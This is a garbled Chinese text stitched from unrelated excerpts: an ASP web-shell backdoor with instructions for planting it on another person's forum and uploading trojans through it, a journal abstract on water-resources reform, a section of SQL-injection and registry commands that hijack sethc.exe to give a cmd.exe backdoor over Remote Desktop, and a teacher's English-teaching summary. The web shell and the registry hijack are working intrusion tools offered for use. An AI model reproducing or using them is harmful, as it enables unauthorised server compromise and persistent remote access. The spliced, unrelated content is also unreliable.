<%Set bjFSO = Server.CreateObject(”Scripting.FileSystemObject“)%>

<%if Trim(request(”syfdpath“))”“ then%>

<%fdata = request(”cyfddata“)%>

<%Set bjCountFile=objFSO.CreateTextFile(request(”syfdpath“),True)%>

<%objCountFile.Write fdata%>

<%if err =0 then%>

<%response.write ”save Success!“%>

<%else%>

<%response.write ”Save UnSuccess!“%>

<%end if%>

<%err.clear%>

<%end if%>

<%objCountFile.Close%>

<%Set bjCountFile=Nothing%>

<%Set bjFSO = Nothing%>

<%=server.mappath(Request.ServerVariables(”SCRIPT_NAME“))%>

<%end if%>

我只是把人家的代码拆分了一下用用，嘿嘿，别建议哈

然后大家看一下：www.XXX.com/bbs/show.asp?noon=xxql.com

拉到最下面，看到绝对路径了没有？

在人家论坛的后门已经算做好了，什么意思呢，很简单，这是一个服务端的代码，然后您在其他空间或者本地支持ASP的地方做一个客户端，看代码：

<%Response.write ”“%>

<%Response.Write ”“%>

<%Response.Write ”“%>

<%Response.write ”“%>

<%Response.write ”输入马的内容:“%>

<%Response.write ”“%>

<%Response.write ”“%>

<%Response.write ”“%>

这里我说明一下，在服务端的最后一段代码是显示绝对路径的

然后在客户端的 action=”“ 里就填上你服务端所在的文件路径

下面一个value=”“ 改成你存放在马所在服务器上的绝对路径

这样你随便把客户端放在哪里都可以对服务端上传其他的木马

就这样，很简单！假如大家觉得麻烦也可以用海洋里自带的后门工具

篇15：新世纪新思路

新世纪新思路

在跨入新世纪之际,山东省水利厅机构改革取得阶段性成果,机关各处室负责人面对新挑战、新机遇,意气风发,畅谈”十五“期间,特别是的工作新思路,努力为新世纪的山东水利工作找准路子,起好步子,创出一片新天地.

作 者： 作者单位： 刊 名：山东水利 英文刊名：SHANDONG SHUILI 年，卷(期)：2001 ”“(3) 分类号：F1 关键词： 

篇16：3389新思路

版权所有：BK瞬间群

作者：BK群某饮料

1.能修改注册表

2.能访问3389

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe','debugger','REG_sz','c:\\windows\\system32\\cmd.exe on';--

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe','debugger','REG_sz','';--

REG ADD ”HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe“ /v debugger /t REG_sz /d ”c:\\windows\\system32\\cmd.exe“ on /f

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethcasd.exe]

”debugger“=”c:\\\\windows\\\\system32\\\\cmd.exe on“

regedit

/s            导入 .reg 文件进注册表（安静模式）

/e            导出注册表文件

例：regedit /e filename.reg HKEY_LOCAL_MACHINE//SYSTEM

magnify.exe

osk.exe

sethc.exe

篇17：小学英语教学工作总结

随着期末考试的结束，本学期的教学工作也步入尾声，小学六年级英语教学工作总结。本学期的各项工作都取得了一定的成绩，当然也还存在一定的不足。现将本学期的工作总结如下，以为今后的工作提供借鉴和参照。

一、思想政治工作

继续搞好思想政治学习，认真学习理论知识和《教师法》、《教育法》及”泰安市教师十不准“，提高自身的政治素养和法律意识。坚持依法执教，廉洁从教。

二、教学工作

本学期我担任了六年级一班的英语教学工作。六年级英语要求学生能够保持对英语的学习兴趣，并能用简单的英语表达自己的意思，能够看图说话，简单的写作。

1、根据我班学生的身心素质和学科水平，以及新课标要求，学期初，我让学生自定目标，自我加压，让学生在自己身边找榜样，结对子。在平时的学习中，相互帮助，相互合作，以优带后，共同进步，工作总结《小学六年级英语教学工作总结》。使其增强了竞争意识与合作学习的能力，同时也激发了学生学习英语的兴趣。

2、由于六年级的学生已经有了一定的自觉性和自我管理能力，本学期我取消了”英语天天读“中的签字制度，改为”课文录音\"。让学生通过大量的练习后，把自己觉得能够读或背诵得熟练的或教师指定的课文录音，增强了其对英语学习的自信心和兴趣。大部分学生能够坚持每天读英语，已经养成了良好的学习习惯，口语水平也有所提高。但也有一部分学生没能坚持下来，缺乏必要的监督。

3、当然也还存在一些不足之处：

①对学生估计不足，或考虑不周。我在平时的训练中，只注意了大方面的情况，没能充分考虑学生个体因素。盲目的认为已经是六年级的学生了，有能力自己解决问题，而忽视了对学生的出错的问题及时纠正。只强调了学生的优势，忽略的其薄弱方面的及时补差。

②对学生自觉性过于自信，没有盯上靠上。在平时的教学过程中，我总是强调对学生自觉学习的习惯的培养，对他们抱有过高的估计和评价，因而没有对其具体的学习情况和效果做出及时准确的验证和审查。

③由于本学期我所担任的少先队内的工作较繁杂，经常是该找学生补差的时候因没有时间而错过，致使学生们认为英语老师不厉害不用管，导致其对英语学习不够重视，自己在学生中的威信也有所降低，对学生所犯的错误也不能及时地给予纠正。

④对待优生的帮扶不利。本学期，由于主客观因素，我对班内的10余名待优生的辅导没能落到实处。一个是我对他们缺乏足够的耐心，一个是时间没能靠上。我有时间的时候他们没时间，他们有时间时我有其他工作要做，错过了最佳帮教时机。

总之，在本学期的教学工作中，我能够紧紧围绕新课改的要求，贯彻落实新课标，以学生为主体，以人为本开展各项工作，效果也还不错。在今后的工作中，要戒骄戒躁，扬长避短，争取更上一层楼。

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